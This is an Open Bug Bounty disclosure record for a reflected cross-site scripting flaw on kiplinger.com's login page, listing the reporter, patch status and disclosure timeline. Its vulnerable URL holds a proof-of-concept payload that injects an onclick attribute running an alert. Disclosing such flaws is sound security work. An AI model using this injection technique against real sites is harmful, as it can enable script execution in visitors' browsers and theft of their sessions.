kiplinger.com XSS vulnerability

2017-01-09T23:42:00
ID OBB:205112
Type openbugbounty
Reporter k0t
Modified 2017-11-23T07:40:00

Description

Vulnerable URL:
http://www.kiplinger.com/login/ec_login.php?ec_email="&submit.x;=1&submit.y;=1&submit;=Submit&ec;_column_id=33"accesskey="x"onclick="alert(/OPENBUGBOUNTY/)"&ec;_source=home_popup
Details:

Description| Value
---|---
Patched:| Yes, at 23.11.2017
Latest check for patch:| 23.11.2017 07:40 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 10720
VIP website status:| Yes
Check kiplinger.com SSL connection:| (Grade: B)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 9 January, 2017 23:42 GMT
Vulnerability existence verified and confirmed| 10 January, 2017 06:09 GMT
Generic security notifications sent to website owner| 10 January, 2017 06:09 GMT
Notification sent to subscribers (without technical details)| 10 January, 2017 10:17 GMT
Vulnerability details disclosed by researcher| 4 April, 2017 06:13 GMT
Vulnerability patched by the website owner| 23 November, 2017 07:40 GMT